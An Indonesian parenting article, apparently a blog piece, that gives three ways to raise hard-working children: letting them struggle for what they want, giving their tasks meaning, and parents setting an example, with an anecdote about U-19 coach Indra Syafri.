  1. Kesadaran arti kerja keras. Hal ini dialami sejumlah pemuda yang pada masa kecilnya permintaan mereka selalu dituruti. Selain itu, anak-anak yang begitu mudahnya mendapatkan apa yang diinginkan tentu akan sulit memahami arti kerja keras. Apalagi anak yang tidak dididik kemandirian oleh orang tuanya karena alasan tidak tega, anak tunggal, kasihan dan lain lain. Ia tidak mempunyai cukup pengalaman dalam bekerja keras dan akhirnya ia sulit untuk melakukannya. Sebaliknya anak-anak yang mendapatkan pengalaman, bahwa beberapa hal yang ia inginkan harus melewati perjuangan maka ia akan menyadari arti kerja keras. Di sinilah orang tua mempunyai peranan yang penting di dalam menghadirkan tantangan bagi anak sehingga ia cukup terpacu untuk melakukan.
  2. Membangun motif pada aktivitas anak. Beberapa orang mampu membangun makna atau motif bagi kegiatan yang dilakukan anak-anak. Seperti seorang anak yang diminta oleh orang tuanya untuk memberi makanan hewan peliharaan keluarga. Ayah bunda menjelaskan bahwa banyak para Nabi adalah penggembala. Jiwa leadershipnya terasah dengan aktivitas gembalanya. Insya Allah anak-anak kita akan terbiasa membangun makna yang tinggi dalam setiap kegiatan yang dikerjakan.
  3. Teladan dari orang tua. Dari orang tua yang terbiasa berjuang keras untuk mendapatkan keinginan dan cita-cita akan tumbuh anak-anak yang juga mempunyai sikap kerja keras. Sebaliknya orang tua yang sering melakukan hal-hal instan untuk mendapatkan keinginannya juga akan tumbuh anak-anak yang memilih kegiatan-kegiatan instan. Indra Syafri pelatih Timnas U-19 berkunjung ke pelosok negeri untuk mendapatkan anak-anak yang  berbakat. Dan salah satu parameter penting di dalam memilih pemain adalah riwayat hidup orang tuanya. Beliau mempunyai keyakinan bahwa dari orang tua yang memiliki karakter yang kuat akan selalu tumbuh anak-anak dengan karakter yang kuat juga. Karakter memang tidak dapat diturunkan tetapi anak-anak akan selalu meniru perilaku orang tua. Inilah yang dinamakan bahwa karakter diwariskan.

Anak yang tangguh punya sikap hidup suka tantangan dan rela bekerja keras. Sedangkan anak yang tidak mandiri profilnya gampang menyerah enggan bekerja keras. Maka, pilihan bagi ayah bunda adalah apakah mau sekuat tenaga dan pikiran mendorong mereka tumbuh menjadi anak yang tangguh?. Atau ayah bunda lebih enjoy dengan melepaskan keturunan kita berpenampilan malas tidak suka bekerja keras?. Mari kita memilih yang terbaik untuk anak-anak kita.